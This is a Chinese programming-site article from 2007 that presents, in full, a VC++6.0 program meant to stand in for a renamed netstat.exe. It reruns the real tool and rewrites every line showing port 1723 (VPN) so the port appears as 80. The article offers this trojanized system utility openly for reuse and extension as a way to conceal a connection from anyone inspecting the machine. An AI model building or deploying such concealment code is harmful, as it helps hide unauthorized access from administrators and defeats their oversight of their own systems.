设为首页
加入收藏
发布文章
  首页   操作系统   系统集成   程序设计   网站设计   图形图象   安全技术   反击技术   硬件DIY   认证考试   免费资源
当前位置:中国E盟 -=> 程序设计 -=> VC++ -=> 正文  
VPN的1723端口隐藏的实现 << C# 开发使用中的23个技巧 | 用Visual C++清除进程 >> 
 发布日期:2007-8-30 8:13:18 发布者:[chinaE整理]  来源:[本站]  浏览:[]  评论:[ 字体:   
http://forum.eviloctal.com/read-htm-tid-30212-page-e-fpage-1.html#a 由于那里的源码是VC++2005 C++/CLI编译,运行时不仅要 .NET 还要带个msvcm80.dll,不方便使用,于是用VC++6.0重写了下.因为这个代码可以扩展 定制,所以发到原创。代码如下:

以下是代码片段:
Copy code

/////////////////////////////////////////////////////////////
//处理netstat回显隐藏VPN端口
//Coder:zshoucheng [EST]
//Blog:http;//www.shellvip.com
////////////////////////////////////////////////////////////
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;

char buf[100]={0};

char* LogFile()
{    
    GetTempPath(64,buf);
    strcat(buf,"port.log");
    return buf;
}

int main(int argc,char* argv[])
{
    string cmd = "stat.exe"; //把系统原来的netstat.exe改名为stat.exe
    string oldPort = "1723"; //需要隐藏的端口
    string newPort = "80  "; //替换为新的端口
    if (argc != 1)
    {
        for (int i=1;i<argc;i++)
        {
            cmd += " ";
            cmd += argv[i];
        }
    }
    cmd += ">";
    cmd += LogFile();        
    system(cmd.c_str());
    ifstream in(LogFile());
    string tmp[256];
    for (int j=0;j<256 && in;j++)
    {
        getline(in,tmp[j],'\n');
        int index = (tmp[j]).find(oldPort,4);
        if (index!=string::npos)
        {    
            tmp[j].replace(index,4,newPort);
        }
        cout<<tmp[j].c_str()<<endl;
    }
return 0;
}
]]>
打印 】【 收藏 】【 推荐 】 
相关文章 推荐文章 热门文章
·暂无  ·暂无
木马是如何编写的
VC-摄像头控制SDK源码
创建高权限进程
深入浅出VC++串口编程之第三方类
常用的图象处理函数的整理
 评一评
正在读取…
  笔名:
  评论:
   
【注】 发表评论必需遵守以下条例:
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款

设置首页 - 加入收藏 - 关于我们 - 联系我们 - 友情连接 - -

Copyright ©2006-2008 中国E盟 Powered By:www.chinaE.org

湘ICP备05004075号